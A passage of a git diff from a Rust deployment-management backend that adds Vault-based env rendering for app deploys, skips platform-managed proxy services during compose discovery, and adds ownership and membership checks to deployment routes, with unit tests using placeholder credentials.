+                "failed to fetch project for deploy_app env render: {error}"
+            ));
+        }
+    };
+
+    let app = match db::project_app::fetch_by_project_and_code(pg_pool, project_id, app_code).await
+    {
+        Ok(Some(app)) if app.is_enabled() => app,
+        Ok(Some(_)) | Ok(None) => {
+            tracing::warn!(
+                project_id,
+                app_code,
+                "Cannot render deploy_app env because enabled app was not found"
+            );
+            return Ok(None);
+        }
+        Err(error) => {
+            tracing::warn!(
+                project_id,
+                app_code,
+                error = %error,
+                "Cannot render deploy_app env because app fetch failed"
+            );
+            return Err(format!(
+                "failed to fetch deploy_app target '{app_code}' for env render: {error}"
+            ));
+        }
+    };
+
+    let vault = match VaultService::from_settings(vault_settings) {
+        Ok(vault) => vault,
+        Err(error) => {
+            tracing::warn!(
+                project_id,
+                app_code,
+                error = %error,
+                "Cannot render deploy_app env because Vault initialization failed"
+            );
+            return Err(format!(
+                "failed to initialize Vault for deploy_app env render: {error}"
+            ));
+        }
+    };
+    let renderer = match ConfigRenderer::with_vault(vault) {
+        Ok(renderer) => renderer,
+        Err(error) => {
+            tracing::warn!(
+                project_id,
+                app_code,
+                error = %error,
+                "Cannot render deploy_app env because ConfigRenderer initialization failed"
+            );
+            return Err(format!(
+                "failed to initialize config renderer for deploy_app env render: {error}"
+            ));
+        }
+    };
+
+    match renderer
+        .render_app_env_config(pg_pool, &app, &project, deployment_hash)
+        .await
+    {
+        Ok(config) => Ok(Some(config)),
+        Err(error) => {
+            tracing::warn!(
+                project_id,
+                app_code,
+                error = %error,
+                "Cannot render deploy_app env"
+            );
+            Err(deploy_app_env_render_error(app_code, &error))
+        }
+    }
+}
+
+fn deploy_app_env_render_error(
+    app_code: &str,
+    error: &(dyn std::fmt::Display + Send + Sync),
+) -> String {
+    format!("failed to render deploy_app runtime env for target '{app_code}': {error}")
+}
+
+async fn render_project_compose_for_deploy_app(
+    pg_pool: &PgPool,
+    project_id: Option<i32>,
+    deployment_hash: &str,
+    app_code: &str,
+) -> Option<String> {
+    let project_id = project_id?;
+    let project = match db::project::fetch(pg_pool, project_id).await {
+        Ok(Some(project)) => project,
+        Ok(None) => {
+            tracing::warn!(
+                project_id,
+                app_code,
+                "Cannot render deploy_app compose because project was not found"
+            );
+            return None;
+        }
+        Err(error) => {
+            tracing::warn!(
+                project_id,
+                app_code,
+                error = %error,
+                "Cannot render deploy_app compose because project fetch failed"
+            );
+            return None;
+        }
+    };
+
+    let service = match ProjectAppService::new(Arc::new(pg_pool.clone())) {
+        Ok(service) => service,
+        Err(error) => {
+            tracing::warn!(
+                project_id,
+                app_code,
+                error = %error,
+                "Cannot render deploy_app compose because ProjectAppService init failed"
+            );
+            return None;
+        }
+    };
+
+    let apps = match service.list_by_project(project_id).await {
+        Ok(apps) => apps,
+        Err(error) => {
+            tracing::warn!(
+                project_id,
+                app_code,
+                error = %error,
+                "Cannot render deploy_app compose because project apps could not be loaded"
+            );
+            return None;
+        }
+    };
+
+    if !apps
+        .iter()
+        .any(|app| app.code == app_code && app.is_enabled())
+    {
+        tracing::warn!(
+            project_id,
+            app_code,
+            "Cannot render deploy_app compose because enabled app was not found"
+        );
+        return None;
+    }
+
+    match service
+        .preview_bundle(&project, &apps, deployment_hash)
+        .await
+    {
+        Ok(bundle) => Some(bundle.compose_content),
+        Err(error) => {
+            tracing::warn!(
+                project_id,
+                app_code,
+                error = %error,
+                "Cannot render deploy_app compose preview"
+            );
+            None
+        }
+    }
 }
 
 /// Discover child services from a multi-service compose file and register them as project_apps.
@@ -561,15 +1006,11 @@ pub async fn discover_and_register_child_services(
     deployment_hash: &str,
 ) -> usize {
     // Resolve actual deployment ID from hash for scoping apps per deployment
-    let actual_deployment_id = match crate::db::deployment::fetch_by_deployment_hash(
-        pg_pool,
-        deployment_hash,
-    )
-    .await
-    {
-        Ok(Some(dep)) => Some(dep.id),
-        _ => None,
-    };
+    let actual_deployment_id =
+        match crate::db::deployment::fetch_by_deployment_hash(pg_pool, deployment_hash).await {
+            Ok(Some(dep)) => Some(dep.id),
+            _ => None,
+        };
 
     // Parse the compose file to extract services
     let services = match parse_compose_services(compose_content) {
@@ -604,6 +1045,16 @@ pub async fn discover_and_register_child_services(
     let mut registered_count = 0;
 
     for svc in &services {
+        if is_platform_managed_compose_service(&svc.name, svc.image.as_deref()) {
+            tracing::debug!(
+                parent_app = %parent_app_code,
+                service = %svc.name,
+                image = ?svc.image,
+                "Skipping platform-managed compose service"
+            );
+            continue;
+        }
+
         // Generate unique code: parent_code-service_name
         let app_code = format!("{}-{}", parent_app_code, svc.name);
 
@@ -682,6 +1133,7 @@ pub async fn discover_and_register_child_services(
         new_app.command = svc.command.clone();
         new_app.entrypoint = svc.entrypoint.clone();
         new_app.restart_policy = svc.restart.clone();
+        new_app.healthcheck = svc.healthcheck.clone();
 
         // Convert labels to JSON
         if !svc.labels.is_empty() {
@@ -726,3 +1178,311 @@ pub async fn discover_and_register_child_services(
 
     registered_count
 }
+
+fn is_platform_managed_compose_service(service_name: &str, image: Option<&str>) -> bool {
+    let mut candidates = vec![normalize_app_code(service_name)];
+
+    if let Some(image) = image {
+        if let Some(image_name) = image.split('/').last() {
+            if let Some(name_without_tag) = image_name.split(':').next() {
+                candidates.push(normalize_app_code(name_without_tag));
+            }
+        }
+    }
+
+    candidates
+        .iter()
+        .any(|candidate| is_platform_managed_app_code(candidate))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn platform_managed_compose_service_matches_nginx_proxy_manager_name_or_image() {
+        assert!(is_platform_managed_compose_service(
+            "nginx_proxy_manager",
+            None
+        ));
+        assert!(is_platform_managed_compose_service(
+            "proxy",
+            Some("jc21/nginx-proxy-manager:latest")
+        ));
+    }
+
+    #[test]
+    fn platform_managed_compose_service_allows_regular_service() {
+        assert!(!is_platform_managed_compose_service(
+            "postgres",
+            Some("postgres:16-alpine")
+        ));
+    }
+
+    #[test]
+    fn extract_registry_auth_from_params_reads_command_payload() {
+        let params = Some(serde_json::json!({
+            "app_code": "upload",
+            "registry_auth": {
+                "registry": "docker.io",
+                "username": "optimum",
+                "password": "secret"
+            }
+        }));
+
+        let auth = extract_registry_auth_from_params(&params).expect("registry auth");
+
+        assert_eq!(auth.registry, "docker.io");
+        assert_eq!(auth.username, "optimum");
+        assert_eq!(auth.password, "secret");
+    }
+
+    #[test]
+    fn extract_registry_auth_from_params_ignores_missing_payload() {
+        assert!(extract_registry_auth_from_params(&Some(serde_json::json!({
+            "app_code": "upload"
+        })))
+        .is_none());
+    }
+
+    #[test]
+    fn merge_rendered_env_updates_app_local_compose_env_file() {
+        let compose_content = r#"
+services:
+  device-api:
+    image: syncopia/device-api:prod
+    env_file:
+      - /opt/stacker/deployments/prod/files/device-api/docker/prod/.env
+  upload:
+    image: syncopia/upload:prod
+    env_file:
+      - /opt/stacker/deployments/prod/files/upload/docker/prod/.env
+"#;
+        let mut config_files = vec![
+            json!({
+                "content": "# Auto-created empty env file\n",
+                "destination_path": "/opt/stacker/deployments/prod/files/device-api/docker/prod/.env"
+            }),
+            json!({
+                "content": "UPLOAD_ONLY=true\n",
+                "destination_path": "/opt/stacker/deployments/prod/files/upload/docker/prod/.env"
+            }),
+        ];
+
+        let merged = merge_rendered_env_into_app_env_files(
+            &mut config_files,
+            Some(compose_content),
+            "device-api",
+            "# stacker-render version=1 hash=abc generated_at=now inputs=service\nS3_SECRET_KEY=supersecret\n",
+        );
+
+        assert_eq!(merged, 1);
+        let device_env = config_files[0]
+            .get("content")
+            .and_then(|value| value.as_str())
+            .expect("device env content");
+        assert!(device_env.contains("# Auto-created empty env file"));
+        assert!(device_env.contains("S3_SECRET_KEY=supersecret"));
+        let upload_env = config_files[1]
+            .get("content")
+            .and_then(|value| value.as_str())
+            .expect("upload env content");
+        assert!(!upload_env.contains("S3_SECRET_KEY"));
+    }
+
+    #[test]
+    fn merge_rendered_env_preserves_local_env_and_appends_rendered_block_once() {
+        let mut config_files = vec![json!({
+            "content": "RUST_LOG=debug\n",
+            "content_type": "text/plain",
+            "destination_path": "/opt/stacker/deployments/prod/files/device-api/docker/prod/.env",
+            "file_mode": "0644"
+        })];
+
+        let merged = merge_rendered_env_into_app_env_files(
+            &mut config_files,
+            Some(
+                r#"
+services:
+  device-api:
+    env_file: /opt/stacker/deployments/prod/files/device-api/docker/prod/.env
+"#,
+            ),
+            "device-api",
+            "# stacker-render version=1 hash=abc generated_at=now inputs=service\nS3_BUCKET=superbucket\n",
+        );
+
+        assert_eq!(merged, 1);
+        let env_content = config_files[0]["content"].as_str().expect("content");
+        assert_eq!(
+            env_content,
+            "RUST_LOG=debug\n\n# stacker-render version=1 hash=abc generated_at=now inputs=service\nS3_BUCKET=superbucket\n"
+        );
+        assert_eq!(config_files[0]["content_type"], "text/plain");
+        assert_eq!(config_files[0]["file_mode"], "0644");
+    }
+
+    #[test]
+    fn merge_rendered_env_replaces_previous_rendered_block() {
+        let mut config_files = vec![json!({
+            "content": "RUST_LOG=debug\n\n# stacker-render version=1 hash=old generated_at=now inputs=service\nOLD_SECRET=outdated\n",
+            "destination_path": "/opt/stacker/deployments/prod/files/device-api/docker/prod/.env"
+        })];
+
+        let merged = merge_rendered_env_into_app_env_files(
+            &mut config_files,
+            Some(
+                r#"
+services:
+  device-api:
+    env_file: /opt/stacker/deployments/prod/files/device-api/docker/prod/.env
+"#,
+            ),
+            "device-api",
+            "# stacker-render version=2 hash=new generated_at=now inputs=service\nNEW_SECRET=fresh\n",
+        );
+
+        assert_eq!(merged, 1);
+        let env_content = config_files[0]["content"].as_str().expect("content");
+        assert_eq!(
+            env_content,
+            "RUST_LOG=debug\n\n# stacker-render version=2 hash=new generated_at=now inputs=service\nNEW_SECRET=fresh\n"
+        );
+        assert!(!env_content.contains("OLD_SECRET=outdated"));
+    }
+
+    #[test]
+    fn merge_rendered_env_removes_authored_key_overridden_by_rendered_block() {
+        let mut config_files = vec![json!({
+            "content": "RUST_LOG=debug\nS3_BUCKET=local\n",
+            "destination_path": "/opt/stacker/deployments/prod/files/device-api/docker/prod/.env"
+        })];
+
+        let merged = merge_rendered_env_into_app_env_files(
+            &mut config_files,
+            Some(
+                r#"
+services:
+  device-api:
+    env_file: /opt/stacker/deployments/prod/files/device-api/docker/prod/.env
+"#,
+            ),
+            "device-api",
+            "# stacker-render version=2 hash=new generated_at=now inputs=service\nS3_BUCKET=remote\n",
+        );
+
+        assert_eq!(merged, 1);
+        let env_content = config_files[0]["content"].as_str().expect("content");
+        assert_eq!(
+            env_content,
+            "RUST_LOG=debug\n\n# stacker-render version=2 hash=new generated_at=now inputs=service\nS3_BUCKET=remote\n"
+        );
+        assert!(!env_content.contains("S3_BUCKET=local"));
+    }
+
+    #[test]
+    fn merge_rendered_env_matches_app_local_env_by_destination_when_compose_uses_relative_env_file()
+    {
+        let mut config_files = vec![
+            json!({
+                "content": "RUST_LOG=debug\n",
+                "destination_path": "/opt/stacker/deployments/prod/files/device-api/docker/prod/.env"
+            }),
+            json!({
+                "content": "SHARED=true\n",
+                "destination_path": "/opt/stacker/deployments/prod/files/shared/docker/prod/.env"
+            }),
+        ];
+
+        let merged = merge_rendered_env_into_app_env_files(
+            &mut config_files,
+            Some(
+                r#"
+services:
+  device-api:
+    env_file: .env
+"#,
+            ),
+            "device-api",
+            "# stacker-render version=1 hash=abc generated_at=now inputs=service\nS3_BUCKET=superbucket\n",
+        );
+
+        assert_eq!(merged, 1);
+        assert!(config_files[0]["content"]
+            .as_str()
+            .expect("device content")
+            .contains("S3_BUCKET=superbucket"));
+        assert!(!config_files[1]["content"]
+            .as_str()
+            .expect("shared content")
+            .contains("S3_BUCKET=superbucket"));
+    }
+
+    #[test]
+    fn merge_rendered_env_does_not_touch_non_env_config_files() {
+        let mut config_files = vec![json!({
+            "content": "port = 5050\n",
+            "destination_path": "/opt/stacker/deployments/prod/files/device-api/docker/prod/default.toml"
+        })];
+
+        let merged = merge_rendered_env_into_app_env_files(
+            &mut config_files,
+            Some("services:\n  device-api:\n    env_file: .env\n"),
+            "device-api",
+            "# stacker-render version=1 hash=abc generated_at=now inputs=service\nS3_BUCKET=superbucket\n",
+        );
+
+        assert_eq!(merged, 0);
+        assert_eq!(config_files[0]["content"], "port = 5050\n");
+    }
+
+    #[tokio::test]
+    async fn render_project_env_without_project_id_skips_without_error() {
+        let pg_pool = sqlx::postgres::PgPoolOptions::new()
+            .connect_lazy("postgres://postgres:postgres@localhost/stacker_test")
+            .expect("lazy pool");
+        let vault_settings = crate::configuration::VaultSettings::default();
+
+        let rendered = render_project_env_for_deploy_app(
+            &pg_pool,
+            None,
+            "deployment_test",
+            "device-api",
+            &vault_settings,
+        )
+        .await
+        .expect("missing project id should be non-fatal");
+
+        assert!(rendered.is_none());
+    }
+
+    #[test]
+    fn deploy_app_env_render_error_names_target_without_secret_values() {
+        let error = deploy_app_env_render_error(
+            "device-api",
+            &std::io::Error::new(std::io::ErrorKind::PermissionDenied, "vault denied access"),
+        );
+
+        assert_eq!(
+            error,
+            "failed to render deploy_app runtime env for target 'device-api': vault denied access"
+        );
+        assert!(!error.contains("S3_BUCKET=superbucket"));
+    }
+
+    #[test]
+    fn compose_env_file_destinations_supports_compose_mapping_syntax() {
+        let compose_content = r#"
+services:
+  device-api:
+    env_file:
+      - path: /opt/stacker/deployments/prod/files/device-api/docker/prod/.env
+        required: false
+"#;
+
+        let destinations = compose_env_file_destinations_for_app(compose_content, "device-api");
+
+        assert!(destinations
+            .contains("/opt/stacker/deployments/prod/files/device-api/docker/prod/.env"));
+    }
+}
diff --git a/src/routes/command/get.rs b/src/routes/command/get.rs
index 7373f1f6..041b7743 100644
--- a/src/routes/command/get.rs
+++ b/src/routes/command/get.rs
@@ -1,6 +1,8 @@
+use crate::configuration::Settings;
 use crate::db;
 use crate::helpers::JsonResponse;
 use crate::models::User;
+use crate::routes::legacy_installations::resolve_owned_deployment_by_hash;
 use actix_web::{get, web, Responder, Result};
 use sqlx::PgPool;
 use std::sync::Arc;
@@ -11,21 +13,17 @@ pub async fn get_handler(
     user: web::ReqData<Arc<User>>,
     path: web::Path<(String, String)>,
     pg_pool: web::Data<PgPool>,
+    settings: web::Data<Settings>,
 ) -> Result<impl Responder> {
     let (deployment_hash, command_id) = path.into_inner();
 
-    // Verify deployment belongs to the requesting user
-    let deployment =
-        db::deployment::fetch_by_deployment_hash(pg_pool.get_ref(), &deployment_hash)
-            .await
-            .map_err(|err| JsonResponse::internal_server_error(err))?;
-
-    match &deployment {
-        Some(d) if d.user_id.as_deref() == Some(&user.id) => {}
-        _ => {
-            return Err(JsonResponse::not_found("Deployment not found"));
-        }
-    }
+    resolve_owned_deployment_by_hash(
+        pg_pool.get_ref(),
+        settings.get_ref(),
+        user.as_ref(),
+        &deployment_hash,
+    )
+    .await?;
 
     // Fetch command by its string command_id (e.g. "cmd_<uuid>"), not the row UUID
     let command = db::command::fetch_by_command_id(pg_pool.get_ref(), &command_id)
diff --git a/src/routes/command/list.rs b/src/routes/command/list.rs
index 3ec2936e..08c0f9e9 100644
--- a/src/routes/command/list.rs
+++ b/src/routes/command/list.rs
@@ -1,6 +1,8 @@
+use crate::configuration::Settings;
 use crate::db;
 use crate::helpers::JsonResponse;
 use crate::models::User;
+use crate::routes::legacy_installations::resolve_owned_deployment_by_hash;
 use actix_web::{get, web, Responder, Result};
 use chrono::{DateTime, Utc};
 use serde::Deserialize;
@@ -24,22 +26,18 @@ pub async fn list_handler(
     path: web::Path<String>,
     query: web::Query<CommandListQuery>,
     pg_pool: web::Data<PgPool>,
+    settings: web::Data<Settings>,
 ) -> Result<impl Responder> {
     let deployment_hash = path.into_inner();
     let limit = query.limit.unwrap_or(50).max(1).min(500);
 
-    // Verify deployment belongs to the requesting user
-    let deployment =
-        db::deployment::fetch_by_deployment_hash(pg_pool.get_ref(), &deployment_hash)
-            .await
-            .map_err(|err| JsonResponse::internal_server_error(err))?;
-
-    match &deployment {
-        Some(d) if d.user_id.as_deref() == Some(&user.id) => {}
-        _ => {
-            return Err(JsonResponse::not_found("Deployment not found"));
-        }
-    }
+    resolve_owned_deployment_by_hash(
+        pg_pool.get_ref(),
+        settings.get_ref(),
+        user.as_ref(),
+        &deployment_hash,
+    )
+    .await?;
 
     let commands = if let Some(since_raw) = &query.since {
         let since = DateTime::parse_from_rfc3339(since_raw)
diff --git a/src/routes/deployment/capabilities.rs b/src/routes/deployment/capabilities.rs
index 7689634c..db6ff362 100644
--- a/src/routes/deployment/capabilities.rs
+++ b/src/routes/deployment/capabilities.rs
@@ -4,8 +4,16 @@ use actix_web::{get, web, Responder, Result};
 use chrono::{DateTime, Utc};
 use serde::Serialize;
 use sqlx::PgPool;
+use std::sync::Arc;
 
-use crate::{db, helpers::JsonResponse, models::Agent};
+use crate::{
+    db,
+    helpers::{
+        extract_capabilities, has_capability, has_capability_value, JsonResponse,
+        NPM_CREDENTIAL_SOURCE_KEY,
+    },
+    models::Agent,
+};
 
 #[derive(Debug, Clone, Serialize, Default)]
 pub struct CapabilityCommand {
@@ -21,6 +29,8 @@ pub struct CapabilityFeatures {
     pub kata_runtime: bool,
     pub compose: bool,
     pub backup: bool,
+    pub pipes: bool,
+    pub proxy_credentials_vault: bool,
 }
 
 #[derive(Debug, Clone, Serialize, Default)]
@@ -36,6 +46,37 @@ pub struct CapabilitiesResponse {
     pub features: CapabilityFeatures,
 }
 
+async fn can_view_capabilities(
+    pool: &PgPool,
+    user: &crate::models::User,
+    deployment_hash: &str,
+) -> Result<bool> {
+    if user.role == "agent" {
+        return Ok(user.id == deployment_hash);
+    }
+
+    let deployment = db::deployment::fetch_by_deployment_hash(pool, deployment_hash)
+        .await
+        .map_err(|err| JsonResponse::<CapabilitiesResponse>::build().internal_server_error(err))?;
+
+    let Some(deployment) = deployment else {
+        return Ok(false);
+    };
+
+    if deployment.user_id.as_deref() == Some(&user.id) {
+        return Ok(true);
+    }
+
+    Ok(
+        db::project_member::fetch(pool, deployment.project_id, &user.id)
+            .await
+            .map_err(|err| {
+                JsonResponse::<CapabilitiesResponse>::build().internal_server_error(err)
+            })?
+            .is_some(),
+    )
+}
+
 struct CommandMetadata {
     command_type: &'static str,
     requires: &'static str,
@@ -94,16 +135,42 @@ const COMMAND_CATALOG: &[CommandMetadata] = &[
         label: "Backup",
         icon: "fas fa-download",
     },
+    CommandMetadata {
+        command_type: "activate_pipe",
+        requires: "pipes",
+        scope: "deployment",
+        label: "Activate Pipe",
+        icon: "fas fa-play-circle",
+    },
+    CommandMetadata {
+        command_type: "deactivate_pipe",
+        requires: "pipes",
+        scope: "deployment",
+        label: "Deactivate Pipe",
+        icon: "fas fa-stop-circle",
+    },
+    CommandMetadata {
+        command_type: "trigger_pipe",
+        requires: "pipes",
+        scope: "deployment",
+        label: "Trigger Pipe",
+        icon: "fas fa-bolt",
+    },
 ];
 
 #[tracing::instrument(name = "Get agent capabilities", skip_all)]
 #[get("/{deployment_hash}/capabilities")]
 pub async fn capabilities_handler(
     path: web::Path<String>,
+    user: web::ReqData<Arc<crate::models::User>>,
     pg_pool: web::Data<PgPool>,
 ) -> Result<impl Responder> {
     let deployment_hash = path.into_inner();
 
+    if !can_view_capabilities(pg_pool.get_ref(), user.as_ref(), &deployment_hash).await? {
+        return Err(JsonResponse::<CapabilitiesResponse>::build().not_found("Deployment not found"));
+    }
+
     let agent = db::agent::fetch_by_deployment_hash(pg_pool.get_ref(), &deployment_hash)
         .await
         .map_err(|err| JsonResponse::<CapabilitiesResponse>::build().internal_server_error(err))?;
@@ -124,9 +191,15 @@ fn build_capabilities_payload(
             let capabilities = extract_capabilities(agent.capabilities.clone());
             let commands = filter_commands(&capabilities);
             let features = CapabilityFeatures {
-                kata_runtime: capabilities.iter().any(|c| c == "kata"),
-                compose: capabilities.iter().any(|c| c == "compose"),
-                backup: capabilities.iter().any(|c| c == "backup"),
+                kata_runtime: has_capability(&capabilities, "kata"),
+                compose: has_capability(&capabilities, "compose"),
+                backup: has_capability(&capabilities, "backup"),
+                pipes: has_capability(&capabilities, "pipes"),
+                proxy_credentials_vault: has_capability_value(
+                    &capabilities,
+                    NPM_CREDENTIAL_SOURCE_KEY,
+                    "vault",
+                ),
             };
 
             CapabilitiesResponse {
@@ -149,12 +222,6 @@ fn build_capabilities_payload(
     }
 }
 
-fn extract_capabilities(value: Option<serde_json::Value>) -> Vec<String> {
-    value
-        .and_then(|val| serde_json::from_value::<Vec<String>>(val).ok())
-        .unwrap_or_default()
-}
-
 fn filter_commands(capabilities: &[String]) -> Vec<CapabilityCommand> {
     if capabilities.is_empty() {
         return Vec::new();
@@ -223,6 +290,8 @@ mod tests {
         assert!(payload.features.kata_runtime);
         assert!(!payload.features.compose);
         assert!(!payload.features.backup);
+        assert!(!payload.features.pipes);
+        assert!(!payload.features.proxy_credentials_vault);
     }
 
     #[test]
@@ -240,5 +309,34 @@ mod tests {
         assert!(!payload.features.kata_runtime);
         assert!(!payload.features.compose);
         assert!(!payload.features.backup);
+        assert!(!payload.features.pipes);
+        assert!(!payload.features.proxy_credentials_vault);
+    }
+
+    #[test]
+    fn pipe_capabilities_surface_pipe_commands() {
+        let mut agent = Agent::new("hash".to_string());
+        agent.capabilities = Some(serde_json::json!(["pipes"]));
+
+        let payload = build_capabilities_payload("hash".to_string(), Some(agent));
+        let command_types: HashSet<&str> = payload
+            .commands
+            .iter()
+            .map(|c| c.command_type.as_str())
+            .collect();
+
+        assert!(payload.features.pipes);
+        assert!(command_types.contains("activate_pipe"));
+        assert!(command_types.contains("deactivate_pipe"));
+        assert!(command_types.contains("trigger_pipe"));
+    }
+
+    #[test]
+    fn capabilities_features_include_vault_proxy_credentials() {
+        let mut agent = Agent::new("hash".to_string());
+        agent.capabilities = Some(serde_json::json!(["npm_credential_source=vault"]));
+
+        let payload = build_capabilities_payload("hash".to_string(), Some(agent));
+        assert!(payload.features.proxy_credentials_vault);
     }
 }
diff --git a/src/routes/deployment/events.rs b/src/routes/deployment/events.rs
new file mode 100644
index 00000000..ce93d288
--- /dev/null
+++ b/src/routes/deployment/events.rs
@@ -0,0 +1,55 @@
+use actix_web::{get, web, Responder, Result};
+use sqlx::PgPool;
+use std::sync::Arc;
+
+use crate::{
+    helpers::JsonResponse,
+    models,
+    services::{ApiTypedError, DeploymentEventFeed, TypedErrorEnvelope},
+};
+
+#[tracing::instrument(name = "Get deployment events by hash", skip_all)]
+#[get("/{deployment_hash}/events")]
+pub async fn events_handler(
+    path: web::Path<String>,
+    user: web::ReqData<Arc<models::User>>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder, ApiTypedError> {
+    let deployment_hash = path.into_inner();
+    let deployment =
+        crate::db::deployment::fetch_by_deployment_hash(pg_pool.get_ref(), &deployment_hash)
+            .await
+            .map_err(|_| {
+                ApiTypedError::internal(TypedErrorEnvelope::internal_error(
+                    "Failed to load deployment events",
+                ))
+            })?
+            .ok_or_else(|| {
+                ApiTypedError::not_found(TypedErrorEnvelope::deployment_not_found(
+                    "Deployment not found",
+                ))
+            })?;
+
+    if deployment.user_id.as_deref() != Some(&user.id) {
+        return Err(ApiTypedError::not_found(
+            TypedErrorEnvelope::deployment_not_found("Deployment not found"),
+        ));
+    }
+
+    let feed = DeploymentEventFeed::for_deployment_hash(pg_pool.get_ref(), &deployment_hash)
+        .await
+        .map_err(|_| {
+            ApiTypedError::internal(TypedErrorEnvelope::internal_error(
+                "Failed to build deployment events",
+            ))
+        })?
+        .ok_or_else(|| {
+            ApiTypedError::not_found(TypedErrorEnvelope::deployment_not_found(
+                "Deployment not found",
+            ))
+        })?;
+
+    Ok(JsonResponse::build()
+        .set_item(feed)
+        .ok("Deployment events fetched"))
+}
diff --git a/src/routes/deployment/force_complete.rs b/src/routes/deployment/force_complete.rs
index bdbde3c3..1554e97a 100644
--- a/src/routes/deployment/force_complete.rs
+++ b/src/routes/deployment/force_complete.rs
@@ -41,23 +41,19 @@ pub async fn force_complete_handler(
     let mut deployment = match deployment {
         Some(d) => {
             if d.user_id.as_deref() != Some(&user.id) {
-                return Err(
-                    JsonResponse::<DeploymentStatusResponse>::build()
-                        .not_found("Deployment not found"),
-                );
+                return Err(JsonResponse::<DeploymentStatusResponse>::build()
+                    .not_found("Deployment not found"));
             }
             d
         }
         None => {
             return Err(
-                JsonResponse::<DeploymentStatusResponse>::build()
-                    .not_found("Deployment not found"),
+                JsonResponse::<DeploymentStatusResponse>::build().not_found("Deployment not found")
             );
         }
     };
 
-    let status_ok = query.force
-        || FORCE_COMPLETE_ALLOWED.contains(&deployment.status.as_str());
+    let status_ok = query.force || FORCE_COMPLETE_ALLOWED.contains(&deployment.status.as_str());
 
     if !status_ok {
         return Err(JsonResponse::<DeploymentStatusResponse>::build().bad_request(format!(
diff --git a/src/routes/deployment/mod.rs b/src/routes/deployment/mod.rs
index b53d18d4..95a6b675 100644
--- a/src/routes/deployment/mod.rs
+++ b/src/routes/deployment/mod.rs
@@ -1,7 +1,13 @@
 pub mod capabilities;
+pub mod events;
 pub mod force_complete;
+pub mod plan;
+pub mod state;
 pub mod status;
 
 pub use capabilities::*;
+pub use events::*;
 pub use force_complete::*;
+pub use plan::*;
+pub use state::*;
 pub use status::*;
diff --git a/src/routes/deployment/plan.rs b/src/routes/deployment/plan.rs
new file mode 100644
index 00000000..7a118690
--- /dev/null
+++ b/src/routes/deployment/plan.rs
@@ -0,0 +1,111 @@
+use actix_web::{get, web, Responder, Result};
+use serde::Deserialize;
+use sqlx::PgPool;
+use std::sync::Arc;
+
+use crate::{
+    models,
+    services::{
+        build_deploy_plan, build_rollback_plan, resolve_rollback_plan_context, ApiTypedError,
+        DeployPlanOperation, DeploymentState, TypedErrorCode, TypedErrorEnvelope,
+    },
+};
+
+#[derive(Debug, Deserialize)]
+pub struct DeploymentPlanQuery {
+    #[serde(default)]
+    pub operation: Option<DeployPlanOperation>,
+    #[serde(default, rename = "appCode")]
+    pub app_code: Option<String>,
+    #[serde(default)]
+    pub target: Option<String>,
+    #[serde(default, rename = "expectedFingerprint")]
+    pub expected_fingerprint: Option<String>,
+    #[serde(default, rename = "rollbackTarget")]
+    pub rollback_target: Option<String>,
+}
+
+#[tracing::instrument(name = "Get deployment plan by hash", skip_all)]
+#[get("/{deployment_hash}/plan")]
+pub async fn plan_handler(
+    path: web::Path<String>,
+    query: web::Query<DeploymentPlanQuery>,
+    user: web::ReqData<Arc<models::User>>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder, ApiTypedError> {
+    let deployment_hash = path.into_inner();
+    let deployment =
+        crate::db::deployment::fetch_by_deployment_hash(pg_pool.get_ref(), &deployment_hash)
+            .await
+            .map_err(|_| {
+                ApiTypedError::internal(TypedErrorEnvelope::internal_error(
+                    "Failed to load deployment for plan",
+                ))
+            })?
+            .ok_or_else(|| {
+                ApiTypedError::not_found(TypedErrorEnvelope::deployment_not_found(
+                    "Deployment not found",
+                ))
+            })?;
+
+    if deployment.user_id.as_deref() != Some(&user.id) {
+        return Err(ApiTypedError::not_found(
+            TypedErrorEnvelope::deployment_not_found("Deployment not found"),
+        ));
+    }
+
+    let state = DeploymentState::for_deployment_hash(pg_pool.get_ref(), &deployment_hash)
+        .await
+        .map_err(|_| {
+            ApiTypedError::internal(TypedErrorEnvelope::internal_error(
+                "Failed to build deployment plan state",
+            ))
+        })?
+        .ok_or_else(|| {
+            ApiTypedError::not_found(TypedErrorEnvelope::deployment_not_found(
+                "Deployment not found",
+            ))
+        })?;
+
+    let operation = query
+        .operation
+        .clone()
+        .unwrap_or(DeployPlanOperation::Deploy);
+    let target = query.target.as_deref().unwrap_or("cloud");
+    let plan = match operation {
+        DeployPlanOperation::RollbackDeploy => {
+            let requested_target = query.rollback_target.as_deref().ok_or_else(|| {
+                ApiTypedError::bad_request(TypedErrorEnvelope::invalid_request(
+                    "rollbackTarget is required for rollback plans",
+                ))
+            })?;
+            let rollback =
+                resolve_rollback_plan_context(pg_pool.get_ref(), &deployment, requested_target)
+                    .await
+                    .map_err(ApiTypedError::bad_request)?;
+            build_rollback_plan(
+                &state,
+                target,
+                rollback,
+                query.expected_fingerprint.as_deref(),
+            )
+        }
+        _ => build_deploy_plan(
+            &state,
+            operation,
+            target,
+            query.app_code.as_deref(),
+            query.expected_fingerprint.as_deref(),
+        ),
+    }
+    .map_err(|error| match error.code {
+        TypedErrorCode::PlanStale => ApiTypedError::conflict(error),
+        TypedErrorCode::InvalidRequest => ApiTypedError::bad_request(error),
+        TypedErrorCode::RollbackTargetUnavailable => ApiTypedError::bad_request(error),
+        _ => ApiTypedError::internal(error),
+    })?;
+
+    Ok(crate::helpers::JsonResponse::build()
+        .set_item(plan)
+        .ok("Deployment plan fetched"))
+}
diff --git a/src/routes/deployment/state.rs b/src/routes/deployment/state.rs
new file mode 100644
index 00000000..608e4168
--- /dev/null
+++ b/src/routes/deployment/state.rs
@@ -0,0 +1,55 @@
+use actix_web::{get, web, Responder, Result};
+use sqlx::PgPool;
+use std::sync::Arc;
+
+use crate::{
+    helpers::JsonResponse,
+    models,
+    services::{ApiTypedError, DeploymentState, TypedErrorEnvelope},
+};
+
+#[tracing::instrument(name = "Get canonical deployment state by hash", skip_all)]
+#[get("/{deployment_hash}/state")]
+pub async fn state_handler(
+    path: web::Path<String>,
+    user: web::ReqData<Arc<models::User>>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder, ApiTypedError> {
+    let deployment_hash = path.into_inner();
+    let deployment =
+        crate::db::deployment::fetch_by_deployment_hash(pg_pool.get_ref(), &deployment_hash)
+            .await
+            .map_err(|_| {
+                ApiTypedError::internal(TypedErrorEnvelope::internal_error(
+                    "Failed to load deployment state",
+                ))
+            })?
+            .ok_or_else(|| {
